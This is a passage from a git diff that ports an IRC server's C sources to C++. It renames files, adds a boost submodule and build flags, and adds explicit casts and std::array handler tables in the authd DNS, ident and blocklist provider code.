=> extb_usermode.cc} (100%) rename extensions/{force_user_invis.c => force_user_invis.cc} (100%) rename extensions/{helpops.c => helpops.cc} (99%) rename extensions/{hide_uncommon_channels.c => hide_uncommon_channels.cc} (100%) rename extensions/{hurt.c => hurt.cc} (98%) rename extensions/{ip_cloaking.c => ip_cloaking.cc} (98%) rename extensions/{ip_cloaking_3.0.c => ip_cloaking_3.0.cc} (98%) rename extensions/{ip_cloaking_4.0.c => ip_cloaking_4.0.cc} (98%) rename extensions/{ip_cloaking_old.c => ip_cloaking_old.cc} (97%) rename extensions/{m_adminwall.c => m_adminwall.cc} (100%) rename extensions/{m_echotags.c => m_echotags.cc} (100%) rename extensions/{m_extendchans.c => m_extendchans.cc} (100%) rename extensions/{m_findforwards.c => m_findforwards.cc} (99%) rename extensions/{m_identify.c => m_identify.cc} (100%) rename extensions/{m_locops.c => m_locops.cc} (100%) rename extensions/{m_mkpasswd.c => m_mkpasswd.cc} (99%) rename extensions/{m_ojoin.c => m_ojoin.cc} (100%) rename extensions/{m_okick.c => m_okick.cc} (98%) rename extensions/{m_omode.c => m_omode.cc} (100%) rename extensions/{m_opme.c => m_opme.cc} (98%) rename extensions/{m_remove.c => m_remove.cc} (98%) rename extensions/{m_roleplay.c => m_roleplay.cc} (100%) rename extensions/{m_sendbans.c => m_sendbans.cc} (96%) rename extensions/{m_webirc.c => m_webirc.cc} (100%) rename extensions/{no_kill_services.c => no_kill_services.cc} (100%) rename extensions/{no_locops.c => no_locops.cc} (100%) rename extensions/{no_oper_invis.c => no_oper_invis.cc} (100%) rename extensions/{override.c => override.cc} (95%) rename extensions/{restrict-unauthenticated.c => restrict-unauthenticated.cc} (100%) rename extensions/{sno_channelcreate.c => sno_channelcreate.cc} (100%) rename extensions/{sno_farconnect.c => sno_farconnect.cc} (100%) rename extensions/{sno_globalkline.c => sno_globalkline.cc} (100%) rename extensions/{sno_globalnickchange.c => sno_globalnickchange.cc} (91%) rename extensions/{sno_globaloper.c => sno_globaloper.cc} (100%) rename extensions/{sno_whois.c => sno_whois.cc} (100%) rename extensions/{spamfilter_expr.c => spamfilter_expr.cc} (96%) rename extensions/{spamfilter_nicks.c => spamfilter_nicks.cc} (98%) rename extensions/{spy_admin_notice.c => spy_admin_notice.cc} (100%) rename extensions/{spy_info_notice.c => spy_info_notice.cc} (100%) rename extensions/{spy_links_notice.c => spy_links_notice.cc} (97%) rename extensions/{spy_motd_notice.c => spy_motd_notice.cc} (100%) rename extensions/{spy_stats_notice.c => spy_stats_notice.cc} (97%) rename extensions/{spy_stats_p_notice.c => spy_stats_p_notice.cc} (100%) rename extensions/{spy_trace_notice.c => spy_trace_notice.cc} (100%) rename extensions/{umode_noctcp.c => umode_noctcp.cc} (100%) create mode 100644 include/rb/Makefile.am create mode 100644 include/rb/requires.h rename ircd/{authproc.c => authproc.cc} (93%) rename ircd/{bandbi.c => bandbi.cc} (99%) rename ircd/{cache.c => cache.cc} (91%) rename ircd/{capability.c => capability.cc} (82%) rename ircd/{channel.c => channel.cc} (98%) rename ircd/{chmode.c => chmode.cc} (94%) rename ircd/{class.c => class.cc} (97%) rename ircd/{client.c => client.cc} (97%) rename ircd/{dns.c => dns.cc} (89%) rename ircd/{extban.c => extban.cc} (100%) rename ircd/{getopt.c => getopt.cc} (88%) rename ircd/{hash.c => hash.cc} (91%) rename ircd/{hook.c => hook.cc} (94%) rename ircd/{hostmask.c => hostmask.cc} (99%) rename ircd/{ircd.c => ircd.cc} (97%) rename ircd/{ircd_signal.c => ircd_signal.cc} (100%) rename ircd/{listener.c => listener.cc} (99%) rename ircd/{logger.c => logger.cc} (100%) rename ircd/{match.c => match.cc} (100%) rename ircd/{modules.c => modules.cc} (95%) rename ircd/{monitor.c => monitor.cc} (96%) rename ircd/{msgbuf.c => msgbuf.cc} (100%) rename ircd/{newconf.c => newconf.cc} (95%) rename ircd/{operhash.c => operhash.cc} (91%) rename ircd/{packet.c => packet.cc} (98%) rename ircd/{parse.c => parse.cc} (98%) rename ircd/{privilege.c => privilege.cc} (94%) rename ircd/{ratelimit.c => ratelimit.cc} (100%) rename ircd/{reject.c => reject.cc} (90%) rename ircd/{restart.c => restart.cc} (95%) rename ircd/{s_conf.c => s_conf.cc} (98%) rename ircd/{s_newconf.c => s_newconf.cc} (93%) rename ircd/{s_serv.c => s_serv.cc} (98%) rename ircd/{s_user.c => s_user.cc} (99%) rename ircd/{scache.c => scache.cc} (93%) rename ircd/{send.c => send.cc} (97%) rename ircd/{snomask.c => snomask.cc} (100%) rename ircd/{sslproc.c => sslproc.cc} (94%) rename ircd/{substitution.c => substitution.cc} (97%) rename ircd/{supported.c => supported.cc} (97%) rename ircd/{tgchange.c => tgchange.cc} (99%) rename ircd/{version.c => version.cc} (98%) rename ircd/{whowas.c => whowas.cc} (92%) rename ircd/{wsproc.c => wsproc.cc} (94%) rename modules/{cap_account_tag.c => cap_account_tag.cc} (97%) rename modules/{cap_server_time.c => cap_server_time.cc} (97%) rename modules/{chm_nocolour.c => chm_nocolour.cc} (100%) rename modules/{chm_noctcp.c => chm_noctcp.cc} (100%) rename modules/core/{m_ban.c => m_ban.cc} (98%) rename modules/core/{m_die.c => m_die.cc} (100%) rename modules/core/{m_error.c => m_error.cc} (100%) rename modules/core/{m_join.c => m_join.cc} (99%) rename modules/core/{m_kick.c => m_kick.cc} (98%) rename modules/core/{m_kill.c => m_kill.cc} (99%) rename modules/core/{m_message.c => m_message.cc} (99%) rename modules/core/{m_mode.c => m_mode.cc} (99%) rename modules/core/{m_modules.c => m_modules.cc} (99%) rename modules/core/{m_nick.c => m_nick.cc} (99%) rename modules/core/{m_part.c => m_part.cc} (100%) rename modules/core/{m_quit.c => m_quit.cc} (100%) rename modules/core/{m_server.c => m_server.cc} (99%) rename modules/core/{m_squit.c => m_squit.cc} (99%) rename modules/{m_accept.c => m_accept.cc} (99%) rename modules/{m_admin.c => m_admin.cc} (100%) rename modules/{m_alias.c => m_alias.cc} (92%) rename modules/{m_away.c => m_away.cc} (100%) rename modules/{m_cap.c => m_cap.cc} (96%) rename modules/{m_capab.c => m_capab.cc} (100%) rename modules/{m_certfp.c => m_certfp.cc} (100%) rename modules/{m_challenge.c => m_challenge.cc} (99%) rename modules/{m_chghost.c => m_chghost.cc} (100%) rename modules/{m_close.c => m_close.cc} (98%) rename modules/{m_connect.c => m_connect.cc} (100%) rename modules/{m_dline.c => m_dline.cc} (100%) rename modules/{m_encap.c => m_encap.cc} (100%) rename modules/{m_etrace.c => m_etrace.cc} (98%) rename modules/{m_grant.c => m_grant.cc} (100%) rename modules/{m_help.c => m_help.cc} (95%) rename modules/{m_info.c => m_info.cc} (100%) rename modules/{m_invite.c => m_invite.cc} (99%) rename modules/{m_ison.c => m_ison.cc} (100%) rename modules/{m_kline.c => m_kline.cc} (99%) rename modules/{m_knock.c => m_knock.cc} (100%) rename modules/{m_links.c => m_links.cc} (99%) rename modules/{m_list.c => m_list.cc} (98%) rename modules/{m_lusers.c => m_lusers.cc} (100%) rename modules/{m_map.c => m_map.cc} (98%) rename modules/{m_monitor.c => m_monitor.cc} (99%) rename modules/{m_motd.c => m_motd.cc} (100%) rename modules/{m_names.c => m_names.cc} (97%) rename modules/{m_oper.c => m_oper.cc} (100%) rename modules/{m_operspy.c => m_operspy.cc} (100%) rename modules/{m_pass.c => m_pass.cc} (100%) rename modules/{m_ping.c => m_ping.cc} (100%) rename modules/{m_pong.c => m_pong.cc} (100%) rename modules/{m_post.c => m_post.cc} (100%) rename modules/{m_privs.c => m_privs.cc} (100%) rename modules/{m_rehash.c => m_rehash.cc} (97%) rename modules/{m_restart.c => m_restart.cc} (98%) rename modules/{m_resv.c => m_resv.cc} (99%) rename modules/{m_sasl.c => m_sasl.cc} (100%) rename modules/{m_scan.c => m_scan.cc} (99%) rename modules/{m_services.c => m_services.cc} (98%) rename modules/{m_set.c => m_set.cc} (100%) rename modules/{m_signon.c => m_signon.cc} (100%) rename modules/{m_snote.c => m_snote.cc} (100%) rename modules/{m_starttls.c => m_starttls.cc} (100%) rename modules/{m_stats.c => m_stats.cc} (89%) rename modules/{m_svinfo.c => m_svinfo.cc} (100%) rename modules/{m_tb.c => m_tb.cc} (100%) rename modules/{m_testline.c => m_testline.cc} (100%) rename modules/{m_testmask.c => m_testmask.cc} (99%) rename modules/{m_tginfo.c => m_tginfo.cc} (100%) rename modules/{m_time.c => m_time.cc} (100%) rename modules/{m_topic.c => m_topic.cc} (99%) rename modules/{m_trace.c => m_trace.cc} (97%) rename modules/{m_unreject.c => m_unreject.cc} (100%) rename modules/{m_user.c => m_user.cc} (98%) rename modules/{m_userhost.c => m_userhost.cc} (100%) rename modules/{m_users.c => m_users.cc} (100%) rename modules/{m_version.c => m_version.cc} (100%) rename modules/{m_wallops.c => m_wallops.cc} (100%) rename modules/{m_who.c => m_who.cc} (98%) rename modules/{m_whois.c => m_whois.cc} (99%) rename modules/{m_whowas.c => m_whowas.cc} (98%) rename modules/{m_xline.c => m_xline.cc} (99%) rename modules/{sno_routing.c => sno_routing.cc} (98%) rename rb/{rb.c => rb.cc} (95%) delete mode 100644 rb/rb_memory.c create mode 100644 rb/terminate.cc rename ssld/{ssld.c => ssld.cc} (96%) rename tools/{mkfingerprint.c => mkfingerprint.cc} (99%) rename tools/{mkpasswd.c => mkpasswd.cc} (99%) rename wsockd/{wsockd.c => wsockd.cc} (95%) diff --git a/.gitignore b/.gitignore index 2cbbb52d4..471ec0ec4 100644 --- a/.gitignore +++ b/.gitignore @@ -8,6 +8,7 @@ Makefile *.orig *.log *.sw? +*.gch .deps .dirstamp .libs diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 000000000..2a3f21535 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "boost"] + path = boost + url = https://github.com/boostorg/boost.git diff --git a/Makefile.am b/Makefile.am index b6ed9c783..601047de5 100644 --- a/Makefile.am +++ b/Makefile.am @@ -1,28 +1,23 @@ AUTOMAKE_OPTIONS = foreign ACLOCAL_AMFLAGS = -I m4 -SUBDIRS = rb \ - ircd - +SUBDIRS = include/rb +SUBDIRS += rb +SUBDIRS += ircd if BUILD_LTDL SUBDIRS += libltdl endif +SUBDIRS += charybdis +SUBDIRS += authd +SUBDIRS += bandb +SUBDIRS += ssld +SUBDIRS += wsockd +SUBDIRS += modules +SUBDIRS += extensions +SUBDIRS += tools +SUBDIRS += help +SUBDIRS += doc -SUBDIRS += tools \ - help \ - doc \ - ssld \ - wsockd \ - authd \ - bandb \ - modules \ - extensions \ - charybdis - -logdir = @prefix@/var/log - -install-data-hook: - test -d ${DESTDIR}${logdir} || mkdir -p ${DESTDIR}${logdir} mrproper-local: rm -f aclocal.m4 @@ -39,6 +34,8 @@ mrproper-local: rm -f ylwrap rm -f */Makefile rm -f */Makefile.in + rm -f include/*/Makefile + rm -f include/*/Makefile.in rm -rf */.deps rm -f Makefile rm -f Makefile.in diff --git a/authd/Makefile.am b/authd/Makefile.am index cd66d96e2..0fbe5a282 100644 --- a/authd/Makefile.am +++ b/authd/Makefile.am @@ -1,23 +1,27 @@ bin_PROGRAMS = authd -AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = -I$(top_srcdir)/include + +AM_CPPFLAGS = $(WARNFLAGS) +AM_CPPFLAGS += -I$(top_srcdir)/include +AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include +AM_LDFLAGS = -L$(top_srcdir)/boost/lib authd_SOURCES = \ - authd.c \ - dns.c \ - getaddrinfo.c \ - getnameinfo.c \ - notice.c \ - provider.c \ - res.c \ - reslib.c \ - reslist.c \ - providers/blacklist.c \ - providers/ident.c \ - providers/rdns.c \ - providers/opm.c + authd.cc \ + dns.cc \ + getaddrinfo.cc \ + getnameinfo.cc \ + notice.cc \ + provider.cc \ + res.cc \ + reslib.cc \ + reslist.cc \ + providers/blacklist.cc \ + providers/ident.cc \ + providers/rdns.cc \ + providers/opm.cc authd_LDADD = $(top_srcdir)/rb/librb.la +authd_LDADD += -lboost_system mrproper-local: rm -rf providers/.deps diff --git a/authd/authd.c b/authd/authd.cc similarity index 85% rename from authd/authd.c rename to authd/authd.cc index 974b6a020..050175644 100644 --- a/authd/authd.c +++ b/authd/authd.cc @@ -31,22 +31,31 @@ static void handle_stat(int parc, char *parv[]); static void handle_options(int parc, char *parv[]); rb_helper *authd_helper = NULL; -authd_cmd_handler authd_cmd_handlers[256] = { - ['C'] = handle_new_connection, - ['D'] = handle_resolve_dns, - ['E'] = handle_cancel_connection, - ['O'] = handle_options, - ['R'] = handle_reload, - ['S'] = handle_stat, -}; +std::array authd_cmd_handlers +{[]{ + std::array ret; + ret['C'] = handle_new_connection; + ret['D'] = handle_resolve_dns; + ret['E'] = handle_cancel_connection; + ret['O'] = handle_options; + ret['R'] = handle_reload; + ret['S'] = handle_stat; + return ret; +}()}; -authd_stat_handler authd_stat_handlers[256] = { - ['D'] = enumerate_nameservers, -}; +std::array authd_stat_handlers +{[]{ + std::array ret; + ret['D'] = enumerate_nameservers; + return ret; +}()}; -authd_reload_handler authd_reload_handlers[256] = { - ['D'] = reload_nameservers, -}; +std::array authd_reload_handlers +{[]{ + std::array ret; + ret['D'] = reload_nameservers; + return ret; +}()}; rb_dictionary *authd_option_handlers; @@ -85,7 +94,7 @@ handle_options(int parc, char *parv[]) return; } - if((handler = rb_dictionary_retrieve(authd_option_handlers, parv[1])) == NULL) + if((handler = (auth_opts_handler *)rb_dictionary_retrieve(authd_option_handlers, parv[1])) == NULL) { warn_opers(L_CRIT, "BUG: handle_options got a bad option type %s", parv[1]); return; @@ -203,7 +212,7 @@ main(int argc, char *argv[]) rb_set_time(); setup_signals(); - authd_option_handlers = rb_dictionary_create("authd options handlers", rb_strcasecmp); + authd_option_handlers = rb_dictionary_create("authd options handlers", reinterpret_cast(rb_strcasecmp)); init_resolver(); init_providers(); diff --git a/authd/authd.h b/authd/authd.h index 9ac3c179c..8d7c25dcb 100644 --- a/authd/authd.h +++ b/authd/authd.h @@ -45,9 +45,9 @@ typedef void (*authd_cmd_handler)(int parc, char *parv[]); typedef void (*authd_stat_handler)(uint32_t rid, const char letter); typedef void (*authd_reload_handler)(const char letter); -extern authd_cmd_handler authd_cmd_handlers[256]; -extern authd_stat_handler authd_stat_handlers[256]; -extern authd_reload_handler authd_reload_handlers[256]; +extern std::array authd_cmd_handlers; +extern std::array authd_stat_handlers; +extern std::array authd_reload_handlers; extern rb_dictionary *authd_option_handlers; diff --git a/authd/dns.c b/authd/dns.cc similarity index 93% rename from authd/dns.c rename to authd/dns.cc index b251dd636..d283cacc3 100644 --- a/authd/dns.c +++ b/authd/dns.cc @@ -35,7 +35,7 @@ uint64_t query_count = 0; struct dns_query * lookup_ip(const char *host, int aftype, DNSCB callback, void *data) { - struct dns_query *query = rb_malloc(sizeof(struct dns_query)); + struct dns_query *query = (dns_query *)rb_malloc(sizeof(struct dns_query)); int g_type; if(aftype == AF_INET) @@ -72,7 +72,7 @@ lookup_ip(const char *host, int aftype, DNSCB callback, void *data) struct dns_query * lookup_hostname(const char *ip, DNSCB callback, void *data) { - struct dns_query *query = rb_malloc(sizeof(struct dns_query)); + struct dns_query *query = (dns_query *)rb_malloc(sizeof(struct dns_query)); int aftype; if(!rb_inet_pton_sock(ip, (struct sockaddr *)&query->addr)) @@ -111,14 +111,15 @@ lookup_hostname(const char *ip, DNSCB callback, void *data) void cancel_query(struct dns_query *query) { - query->callback = query->data = NULL; + query->callback = NULL; + query->data = NULL; } /* Callback from gethost_byname_type */ static void handle_lookup_ip_reply(void *data, struct DNSReply *reply) { - struct dns_query *query = data; + struct dns_query *query = (dns_query *)data; char ip[HOSTIPLEN] = "*"; if(query == NULL) @@ -167,7 +168,7 @@ end: static void handle_lookup_hostname_reply(void *data, struct DNSReply *reply) { - struct dns_query *query = data; + struct dns_query *query = (dns_query *)data; char *hostname = NULL; if(query == NULL) @@ -217,7 +218,7 @@ end: static void submit_dns_answer(const char *reply, bool status, query_type type, void *data) { - char *id = data; + char *id = (char *)data; if(!id || type == QUERY_INVALID) { @@ -252,14 +253,14 @@ handle_resolve_dns(int parc, char *parv[]) #endif case '4': if(!lookup_ip(record, aftype, submit_dns_answer, id)) - submit_dns_answer(NULL, false, qtype, NULL); + submit_dns_answer(NULL, false, query_type(qtype), NULL); break; #ifdef RB_IPV6 case 'S': #endif case 'R': if(!lookup_hostname(record, submit_dns_answer, id)) - submit_dns_answer(NULL, false, qtype, NULL); + submit_dns_answer(NULL, false, query_type(qtype), NULL); break; default: warn_opers(L_CRIT, "DNS: handle_resolve_dns got an unknown query: %c", qtype); diff --git a/authd/getaddrinfo.c b/authd/getaddrinfo.cc similarity index 100% rename from authd/getaddrinfo.c rename to authd/getaddrinfo.cc diff --git a/authd/getnameinfo.c b/authd/getnameinfo.cc similarity index 100% rename from authd/getnameinfo.c rename to authd/getnameinfo.cc diff --git a/authd/notice.c b/authd/notice.cc similarity index 100% rename from authd/notice.c rename to authd/notice.cc diff --git a/authd/provider.c b/authd/provider.cc similarity index 93% rename from authd/provider.c rename to authd/provider.cc index ce412a0f2..24209bb82 100644 --- a/authd/provider.c +++ b/authd/provider.cc @@ -82,8 +82,10 @@ destroy_providers(void) struct auth_client *auth; /* Cancel outstanding connections */ - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; auth_client_ref(auth); /* TBD - is this the right thing? */ @@ -95,7 +97,7 @@ destroy_providers(void) RB_DLINK_FOREACH_SAFE(ptr, nptr, auth_providers.head) { - struct auth_provider *provider = ptr->data; + struct auth_provider *provider = (auth_provider *)ptr->data; if(provider->destroy) provider->destroy(); @@ -192,7 +194,7 @@ cancel_providers(struct auth_client *auth) RB_DLINK_FOREACH(ptr, auth_providers.head) { - struct auth_provider *provider = ptr->data; + struct auth_provider *provider = (auth_provider *)ptr->data; if(provider->cancel != NULL && is_provider_running(auth, provider->id)) /* Cancel if required */ @@ -222,7 +224,7 @@ provider_done(struct auth_client *auth, uint32_t id) RB_DLINK_FOREACH(ptr, auth_providers.head) { - struct auth_provider *provider = ptr->data; + struct auth_provider *provider = (auth_provider *)ptr->data; if(provider->completed != NULL && is_provider_running(auth, provider->id)) /* Notify pending clients who asked for it */ @@ -275,7 +277,7 @@ start_auth(const char *cid, const char *l_ip, const char *l_port, const char *c_ if(lcid == 0 || lcid > UINT32_MAX) return; - auth = rb_malloc(sizeof(struct auth_client)); + auth = (auth_client *)rb_malloc(sizeof(struct auth_client)); auth_client_ref(auth); auth->cid = (uint32_t)lcid; @@ -300,12 +302,12 @@ start_auth(const char *cid, const char *l_ip, const char *l_port, const char *c_ rb_strlcpy(auth->hostname, "*", sizeof(auth->hostname)); rb_strlcpy(auth->username, "*", sizeof(auth->username)); - auth->data = rb_malloc(allocated_pids * sizeof(struct auth_client_data)); + auth->data = (auth_client_data *)rb_malloc(allocated_pids * sizeof(struct auth_client_data)); auth->providers_starting = true; RB_DLINK_FOREACH(ptr, auth_providers.head) { - struct auth_provider *provider = ptr->data; + struct auth_provider *provider = (auth_provider *)ptr->data; auth->data[provider->id].provider = provider; @@ -361,7 +363,7 @@ handle_cancel_connection(int parc, char *parv[]) exit(EX_PROVIDER_ERROR); } - if((auth = rb_dictionary_retrieve(auth_clients, RB_UINT_TO_POINTER((uint32_t)lcid))) == NULL) + if((auth = (auth_client *)rb_dictionary_retrieve(auth_clients, RB_UINT_TO_POINTER((uint32_t)lcid))) == NULL) { /* This could happen as a race if we've accepted/rejected but they cancel, so don't die here. * --Elizafox */ @@ -380,15 +382,17 @@ provider_timeout_event(void *notused __unused) rb_dictionary_iter iter; const time_t curtime = rb_current_time(); - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { rb_dlink_node *ptr; + auth = (auth_client *)elem; auth_client_ref(auth); RB_DLINK_FOREACH(ptr, auth_providers.head) { - struct auth_provider *provider = ptr->data; + struct auth_provider *provider = (auth_provider *)ptr->data; const time_t timeout = get_provider_timeout(auth, provider->id); if(is_provider_running(auth, provider->id) && provider->timeout != NULL && diff --git a/authd/provider.h b/authd/provider.h index 97af1361d..3407d41a4 100644 --- a/authd/provider.h +++ b/authd/provider.h @@ -145,7 +145,7 @@ find_provider(const char *name) RB_DLINK_FOREACH(ptr, auth_providers.head) { - struct auth_provider *provider = ptr->data; + struct auth_provider *provider = (auth_provider *)ptr->data; if(strcasecmp(provider->name, name) == 0) return provider; diff --git a/authd/providers/blacklist.c b/authd/providers/blacklist.cc similarity index 90% rename from authd/providers/blacklist.c rename to authd/providers/blacklist.cc index 7dcb7fee9..6df5f44ff 100644 --- a/authd/providers/blacklist.c +++ b/authd/providers/blacklist.cc @@ -62,7 +62,7 @@ struct blacklist uint8_t iptype; /* IP types supported */ rb_dlink_list filters; /* Filters for queries */ - bool delete; /* If true delete when no clients */ + bool delete_; /* If true delete when no clients */ int refcount; /* When 0 and delete is set, remove this blacklist */ unsigned int hits; @@ -123,7 +123,7 @@ unref_blacklist(struct blacklist *bl) rb_dlink_node *ptr, *nptr; bl->refcount--; - if (bl->delete && bl->refcount <= 0) + if (bl->delete_ && bl->refcount <= 0) { RB_DLINK_FOREACH_SAFE(ptr, nptr, bl->filters.head) { @@ -146,11 +146,11 @@ new_blacklist(const char *name, const char *reason, uint8_t iptype, rb_dlink_lis if((bl = find_blacklist(name)) == NULL) { - bl = rb_malloc(sizeof(struct blacklist)); + bl = (blacklist *)rb_malloc(sizeof(struct blacklist)); rb_dlinkAddAlloc(bl, &blacklist_list); } else - bl->delete = false; + bl->delete_ = false; rb_strlcpy(bl->host, name, IRCD_RES_HOSTLEN + 1); rb_strlcpy(bl->reason, reason, BUFSIZE); @@ -196,7 +196,7 @@ blacklist_check_reply(struct blacklist_lookup *bllookup, const char *ipaddr) RB_DLINK_FOREACH(ptr, bl->filters.head) { - struct blacklist_filter *filter = ptr->data; + struct blacklist_filter *filter = (blacklist_filter *)ptr->data; const char *cmpstr; if (filter->type == FILTER_ALL) @@ -241,7 +241,7 @@ blacklist_dns_callback(const char *result, bool status, query_type type, void *d bl = bllookup->bl; auth = bllookup->auth; - if((bluser = get_provider_data(auth, SELF_PID)) == NULL) + if((bluser = (blacklist_user *)get_provider_data(auth, SELF_PID)) == NULL) return; if (result != NULL && status && blacklist_check_reply(bllookup, result)) @@ -275,8 +275,8 @@ blacklist_dns_callback(const char *result, bool status, query_type type, void *d static void initiate_blacklist_dnsquery(struct blacklist *bl, struct auth_client *auth) { - struct blacklist_lookup *bllookup = rb_malloc(sizeof(struct blacklist_lookup)); - struct blacklist_user *bluser = get_provider_data(auth, SELF_PID); + struct blacklist_lookup *bllookup = (blacklist_lookup *)rb_malloc(sizeof(struct blacklist_lookup)); + struct blacklist_user *bluser = (blacklist_user *)get_provider_data(auth, SELF_PID); char buf[IRCD_RES_HOSTLEN + 1]; int aftype; @@ -302,7 +302,7 @@ initiate_blacklist_dnsquery(struct blacklist *bl, struct auth_client *auth) static inline bool lookup_all_blacklists(struct auth_client *auth) { - struct blacklist_user *bluser = get_provider_data(auth, SELF_PID); + struct blacklist_user *bluser = (blacklist_user *)get_provider_data(auth, SELF_PID); rb_dlink_node *ptr; int iptype; @@ -323,7 +323,7 @@ lookup_all_blacklists(struct auth_client *auth) { struct blacklist *bl = (struct blacklist *)ptr->data; - if (!bl->delete && (bl->iptype & iptype)) + if (!bl->delete_ && (bl->iptype & iptype)) initiate_blacklist_dnsquery(bl, auth); } @@ -340,7 +340,7 @@ static inline void delete_blacklist(struct blacklist *bl) { if (bl->refcount > 0) - bl->delete = true; + bl->delete_ = true; else { rb_dlinkFindDestroy(bl, &blacklist_list); @@ -355,7 +355,7 @@ delete_all_blacklists(void) RB_DLINK_FOREACH_SAFE(ptr, nptr, blacklist_list.head) { - delete_blacklist(ptr->data); + delete_blacklist((blacklist *)ptr->data); } } @@ -394,7 +394,7 @@ blacklists_start(struct auth_client *auth) static void blacklists_initiate(struct auth_client *auth, uint32_t provider) { - struct blacklist_user *bluser = get_provider_data(auth, SELF_PID); + struct blacklist_user *bluser = (blacklist_user *)get_provider_data(auth, SELF_PID); uint32_t rdns_pid, ident_pid; lrb_assert(provider != SELF_PID); @@ -421,7 +421,7 @@ static inline void blacklists_generic_cancel(struct auth_client *auth, const char *message) { rb_dlink_node *ptr, *nptr; - struct blacklist_user *bluser = get_provider_data(auth, SELF_PID); + struct blacklist_user *bluser = (blacklist_user *)get_provider_data(auth, SELF_PID); if(bluser == NULL) return; @@ -432,7 +432,7 @@ blacklists_generic_cancel(struct auth_client *auth, const char *message) RB_DLINK_FOREACH_SAFE(ptr, nptr, bluser->queries.head) { - struct blacklist_lookup *bllookup = ptr->data; + struct blacklist_lookup *bllookup = (blacklist_lookup *)ptr->data; cancel_query(bllookup->query); unref_blacklist(bllookup->bl); @@ -474,8 +474,10 @@ blacklists_destroy(void) rb_dictionary_iter iter; struct auth_client *auth; - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; blacklists_cancel(auth); /* auth is now invalid as we have no reference */ } @@ -495,7 +497,7 @@ add_conf_blacklist(const char *key, int parc, const char **parv) for(char *elem = rb_strtok_r(elemlist, ",", &tmp); elem; elem = rb_strtok_r(NULL, ",", &tmp)) { - struct blacklist_filter *filter = rb_malloc(sizeof(struct blacklist_filter)); + struct blacklist_filter *filter = (blacklist_filter *)rb_malloc(sizeof(struct blacklist_filter)); int dot_c = 0; filter_t type = FILTER_LAST; @@ -584,7 +586,7 @@ blacklist_stats(uint32_t rid, char letter) RB_DLINK_FOREACH(ptr, blacklist_list.head) { - struct blacklist *bl = ptr->data; + struct blacklist *bl = (blacklist *)ptr->data; if(bl->delete) continue; @@ -606,14 +608,16 @@ struct auth_opts_handler blacklist_options[] = }; struct auth_provider blacklist_provider = -{ - .name = "blacklist", - .letter = 'B', - .destroy = blacklists_destroy, - .start = blacklists_start, - .cancel = blacklists_cancel, - .timeout = blacklists_timeout, - .completed = blacklists_initiate, - .opt_handlers = blacklist_options, +{[]{ + auth_provider ret {0}; + ret.name = "blacklist"; + ret.letter = 'B'; + ret.destroy = blacklists_destroy; + ret.start = blacklists_start; + ret.cancel = blacklists_cancel; + ret.timeout = blacklists_timeout; + ret.completed = blacklists_initiate; + ret.opt_handlers = blacklist_options; /* .stats_handler = { 'B', blacklist_stats }, */ -}; + return ret; +}()}; diff --git a/authd/providers/ident.c b/authd/providers/ident.cc similarity index 90% rename from authd/providers/ident.c rename to authd/providers/ident.cc index 8b2bedf68..885593326 100644 --- a/authd/providers/ident.c +++ b/authd/providers/ident.cc @@ -84,13 +84,13 @@ static bool ident_enable = true; static void ident_connected(rb_fde_t *F __unused, int error, void *data) { - struct auth_client *auth = data; + struct auth_client *auth = (auth_client *)data; struct ident_query *query; char authbuf[32]; int authlen; lrb_assert(auth != NULL); - query = get_provider_data(auth, SELF_PID); + query = (ident_query *)get_provider_data(auth, SELF_PID); lrb_assert(query != NULL); /* Check the error */ @@ -117,7 +117,7 @@ ident_connected(rb_fde_t *F __unused, int error, void *data) static void read_ident_reply(rb_fde_t *F, void *data) { - struct auth_client *auth = data; + struct auth_client *auth = (auth_client *)data; struct ident_query *query; char buf[IDENT_BUFSIZE + 1]; /* buffer to read auth reply into */ ident_message message = REPORT_FAIL; @@ -127,7 +127,7 @@ read_ident_reply(rb_fde_t *F, void *data) int count; lrb_assert(auth != NULL); - query = get_provider_data(auth, SELF_PID); + query = (ident_query *)get_provider_data(auth, SELF_PID); lrb_assert(query != NULL); len = rb_read(F, buf, IDENT_BUFSIZE); @@ -172,7 +172,7 @@ read_ident_reply(rb_fde_t *F, void *data) static void client_fail(struct auth_client *auth, ident_message report) { - struct ident_query *query = get_provider_data(auth, SELF_PID); + struct ident_query *query = (ident_query *)get_provider_data(auth, SELF_PID); lrb_assert(query != NULL); @@ -194,7 +194,7 @@ client_fail(struct auth_client *auth, ident_message report) static void client_success(struct auth_client *auth) { - struct ident_query *query = get_provider_data(auth, SELF_PID); + struct ident_query *query = (ident_query *)get_provider_data(auth, SELF_PID); lrb_assert(query != NULL); @@ -282,8 +282,10 @@ ident_destroy(void) rb_dictionary_iter iter; /* Nuke all ident queries */ - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; if(get_provider_data(auth, SELF_PID) != NULL) client_fail(auth, REPORT_FAIL); /* auth is now invalid as we have no reference */ @@ -293,7 +295,7 @@ ident_destroy(void) static bool ident_start(struct auth_client *auth) { - struct ident_query *query = rb_malloc(sizeof(struct ident_query)); + struct ident_query *query = (ident_query *)rb_malloc(sizeof(struct ident_query)); struct rb_sockaddr_storage l_addr, c_addr; int family = GET_SS_FAMILY(&auth->c_addr); @@ -341,7 +343,7 @@ ident_start(struct auth_client *auth) static void ident_cancel(struct auth_client *auth) { - struct ident_query *query = get_provider_data(auth, SELF_PID); + struct ident_query *query = (ident_query *)get_provider_data(auth, SELF_PID); if(query != NULL) client_fail(auth, REPORT_FAIL); @@ -375,13 +377,15 @@ struct auth_opts_handler ident_options[] = }; -struct auth_provider ident_provider = -{ - .name = "ident", - .letter = 'I', - .start = ident_start, - .destroy = ident_destroy, - .cancel = ident_cancel, - .timeout = ident_cancel, - .opt_handlers = ident_options, -}; +struct auth_provider ident_provider +{[]{ + auth_provider ap {0}; + ap.name = "ident"; + ap.letter = 'I'; + ap.start = ident_start; + ap.destroy = ident_destroy; + ap.cancel 